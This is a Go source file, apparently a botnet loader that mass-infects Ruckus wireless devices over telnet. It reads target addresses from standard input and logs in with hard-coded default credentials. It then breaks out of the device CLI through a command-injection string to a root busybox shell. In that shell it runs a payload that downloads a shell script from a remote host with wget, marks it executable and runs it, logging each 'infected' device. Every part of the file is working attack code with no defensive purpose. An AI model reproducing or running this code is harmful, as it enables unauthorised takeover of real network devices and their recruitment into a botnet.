package main12import (3"bufio"4"errors"5"log"6"net"7"os"8"strconv"9"strings"10"sync"11"time"12)1314var (15//all of our ports properly16//this will ensure its done without errors17Ports []int = []int{182323, 23, 24, //main port19}2021//stores our payload properly22Payload string = "rm -rf z.sh; cd tmp; wget http://ip/z.zh; chmod 777 z.sh;sh z.sh ruckus"23EndingF string = "skid" //what your payload says once complete2425//stores all infected clients properly26//this will ensure its done without errors27infected int = 02829//ignore this function properly30//this will ensure we only finish when done31wg sync.WaitGroup3233mux sync.Mutex34)3536func main() {3738//reads from the file given39//this will ensure its done properly40scanner := bufio.NewScanner(os.Stdin)41for scanner.Scan() {42go func() { //sleeps goroutine43executer := time.Now()44//runs the executer properly45//this will ensure its done properly46if ip,err := RemoteExecute(scanner.Text()); err == nil { //renders the success message properly47infected++ //adds an additional properly and safely onto the count properly48log.Printf("[RUCKUS] Infected (%s) (%s) [%d]", ip, strconv.FormatFloat(time.Since(executer).Seconds(), 'f', 2, 64), infected)49}50}()51}52time.Sleep(10 * time.Second)53wg.Wait() //waits for all to finish54}5556//dials the host and runs our execution command57//this will ensure its done without errors happening58func RemoteExecute(target string) (string, error) { //err handles5960//checks len for valid target61if len(target) <= 0 { //checks the length properly62return "", errors.New("invalid target has been passed")63}6465var Conn net.Conn = nil; wg.Add(1)66defer wg.Done() //removes one from group67//ranges through all of our possible ports68//this will ensure we have a connection on one69for _, Port := range Ports { //ranges through properly7071//dials the connection properly and safely72//this will ensure its done properly and safely73Connection, err := net.Dial("tcp", target+":"+strconv.Itoa(Port))74if err != nil { //err handles properly and safely75continue76}7778//checks for the located connection79//this will ensure we handle from there80if Connection != nil { //checks for the connection81Conn = Connection //saves into our memory for conn82}83}8485//this will ensure we dont ignore the conn86//allows more safer connection without errors87if Conn == nil { //err handles properly and safely88return "", errors.New("couldn't dial the given target")89}909192defer Conn.Close() //Close when function complete9394//tries to wait for the text properly95//this will ensure we only run the next steps once complete96if err := AwaitText(Conn, "Please login"); err != nil {97return "", err //returns the error properly98}99100101//writes our login information properly102//writes our main USERNAME into the remote host103if _, err := Conn.Write([]byte("super\r\n")); err != nil {104return "", err //returns the error properly105}106107//tries to wait for the text properly108//this will ensure we only run the next steps once complete109if err := AwaitText(Conn, "password"); err != nil {110return "", err //returns the error properly111}112113//writes our main PASSWORD into the remote host114//this will ensure its done without errors happening115if _, err := Conn.Write([]byte("sp-admin\r\n")); err != nil {116return "", err //returns the error properly117}118119//checks if we have logged in properly120//this will ensure its done without errors happening121if err := AwaitText(Conn, "rkscli"); err != nil {122return "", err //returns the error properly123}124125//prints the success message properly and safely126//this shall ensure its done without errors on purpose127log.Printf("[RUCKUS] possible ruckus device located at %s\r\n", Conn.RemoteAddr().String())128129//resets the shell properly and safely130//this will ensure its done without errors happening131if _, err := Conn.Write([]byte("Ruckus\r\n")); err != nil {132return "", err //returns the error properly133}134135time.Sleep(1 * time.Second)136137//writes to our bin properly and safely138//this will ensure its done without errors happening139if _, err := Conn.Write([]byte("\";/bin/sh;\"\r\n")); err != nil {140return "", err //returns the error properly141}142143//checks if we have logged in properly144//this will ensure its done without errors happening145if err := AwaitText(Conn, "rkscli"); err != nil {146return "", err //returns the error properly147}148149//writes the last authentication prompt150//this will ensure open our buzybox prompt151if _, err := Conn.Write([]byte("!v54!\r\n")); err != nil {152return "", err //returns the error properly153}154155//awaits the text properly and safely156//this will ensure we dont go futher without this157if err := AwaitText(Conn, "What's your chow"); err != nil {158return "", err //returns the error properly159}160161//another clear enter properly162//this will ensure its done without errors properly163if _, err := Conn.Write([]byte("\r\n")); err != nil {164return "", err //returns the error properly165}166167//checks for the buzybox to opened properly168//this will ensure its done without errors happening169if err := AwaitText(Conn, "#"); err != nil {170return "", err //returns the error properly171}172173//runs our commands inside busybox174//this will now ensure its done without errors175if _, err := Conn.Write([]byte(Payload+"\r\n")); err != nil {176return "", err //returns the error properly177}178179//awaits properly and safely without issues happening180if len(EndingF) > 0 { //checks for it to complete properly181//awaits the ending command properly and safely182//this will ensure its done without errors happeningt183if err := AwaitText(Conn, EndingF); err != nil {184return "", err //returns the error properly185}186} else { //sleeps for runtime of 10 secs187time.Sleep(10 * time.Second) //sleeps properly188}189190return Conn.RemoteAddr().String(), nil //returns nil191}192193//awaits for the prompt given inside the string194//this will ensure we only complete once done properly195func AwaitText(c net.Conn, prompt string) error {196//3 second read deadline properly197//awaits 3 seconds before killing from device198c.SetReadDeadline(time.Now().Add(15 * time.Second))199for { //for loops input reading200buf := make([]byte, 1024) //live buffer201if _, err := c.Read(buf); err != nil {202return err //returns the error203}204205//detects if it contains properly206//this will check if we have found the output207if strings.Contains(strings.ReplaceAll(string(buf), "\x00", ""), prompt) {208return nil //returns a nil pointer properly209}210}211}212213214